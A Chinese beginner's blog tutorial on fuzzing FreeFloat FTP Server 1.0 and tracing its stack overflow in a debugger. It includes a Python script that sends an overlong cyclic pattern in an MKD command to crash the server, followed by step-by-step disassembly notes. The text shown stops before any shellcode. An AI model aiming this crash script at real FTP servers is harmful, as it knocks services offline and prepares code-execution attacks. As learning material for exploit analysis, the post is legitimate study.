fuzzing-01-freefloatftpserver1.0分析和利用

0x00前言

本人刚开始学习fuzzing,对于最简单的栈溢出,进行了详细的分析,思路还有点乱,以后将继续学习。
目标:winxp sp3
源:win10(python)
软件:freefloatftp、Ollydbg、Immunity Debugger、IDA、FTPfuzz、msfvenom(Metasploit)
坏字符 : ‘\x00\x0A\x0D’

0x00.1

坏字符:就是这几个字符会让我们的程序进入其他的函数,造成我们无法正常对程序进行分析,后面会介绍

0x01开始:软件的逆向

先下载ftpfuzz,然后对ftp软件进行fuzzing
开启服务
开启服务
fuzzing开始
开始fuzz
fuzzing开始运行后,发送字符串,然后发现ABOR就down了,字节为700
fuzz
然后发现xp中的ftp服务器已关闭
溢出
确实存在漏洞。
现在开始详细定位漏洞在哪里
然后去下一个playload
代码如下

import socket
import sys
evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('175.7.112.137',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

使用mona插件生成600个测试字符:!mona pattern_create 600,ImmDebug会在调试器根目录下生成一个以pattern命名的.txt文件,此文件中就保存的则是我们的600个测试字符
打开immdebug,
生成600
生成随机字符串,其实不用插件也可以,这样就要你自己输入700字符了
然后丢给脚本
然后用immdebug运行ftp软件,然后按F9,运行软件,然后再运行一次脚本,就会发现报错了
报错
这里发现他的内存溢出了,然后怎么应用,暂时放后面,我们先看他的代码是哪里出错的
我们先用ollydebug找到他的程序是哪里开始的
入口
加载之后,再反汇编页面,右键选择中文搜索
string
然后选择unicode,为什么不用ascii,因为我找过了,他里面的字符是unicode编码的
报错2
发现再这里,有他的登陆欢迎信息,然后这里记住他的内存地址0x00402ff4
然后再immdebug打开ftp软件,然后跳转到这个地址
ctrl+g
10
然后发现这里欢迎后面有一个call,再这里下一个断点
11
找到程序入口后,然后按F9让程序运行起来,然后使用playload对ftp攻击
发现他停在这个地方了,F8单步跟程序
12
(这里不能急,要多试几次,因为要定位到到底哪个call造成了程序出错,然后发现试再0X00403065这个call,然后继续下断点,然后F7跟进去)
13
发现就是这个函数
然后让我们具体看看这个函数做了什么
14
这里其实已经有一点影子了
PUSH EBX 把EBX的值压入榨
15
MOV EBX,ECX 把ecx的值给ebx
16
PUSH EBP 把ebp的值压入栈(学一些逆向,知道试把kernel32的一个函数地址压入栈了)
17
PUSH ESI esi的值压入栈
18
MOV EDX,DWORD PTR DS:[EBX+18] 把ebx+18这个地址里面的内容,根据dword四字节的长度给edx
ebx = 009212a8(一个堆)
19
大家可以去学一下
20

MOV EAX,DWORD PTR DS:[EBX+14] 把14偏移的给eax,然后发现试一个地址,也在堆中
可以缝分析发现edx就是我们发送字符的长度(十六进制下的10)
21

PUSH EDI edi入栈
22

XOR EBP,EBP
XOR ESI,ESI
XOR EDI,EDI
以上三条,清空了这三个寄存器
23

xor,自己去百度一下就知道了,异或
TEST EDX,EDX 把他的值与一下,改变标志寄存器
24

JLE SHORT FTPServe.00402133
这个就是根据上面影响了的标志寄存器来判断的小于等于/不大于时转移
所以不跳转,继续走
/MOV CL,BYTE PTR DS:[EAX]
把eax的一个字节给CL,就是低位
25
可以发现,就把一个字符给他了
|CMP CL,0D 和0D对比 改变了标志寄存器
26
|JE SHORT FTPServe.0040210A 判断Z位是否为1 ZF=1,转至标号处执
|CMP CL,0A继续判断0A 照样不跳转(就是这里,所以0A0D为坏字符)
0A 0D就是判断他是否是回车指令
27

JE SHORT FTPServe.0040212A 不跳转
INC EDI 然后EDI+1
|INC EAX EAX+1
28

发现他是eax开始判断下一个字符,所以这一段代码,就是判断我们指令中是否有回车
和EDX是不是相同,因为要全部字符都匹配好
JL SHORT FTPServe.004020F6 小于/不大于等于时转移
然后跳转回开头,继续判断(循环了10H次)

JMP SHORT FTPServe.00402133 16次结束后
MOV BYTE PTR DS:[EAX],0 把0给EAX指向的地址,就是他最后一个地址

29
|CMP EDI,EDX 对比EDI
本来就是0,没变

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值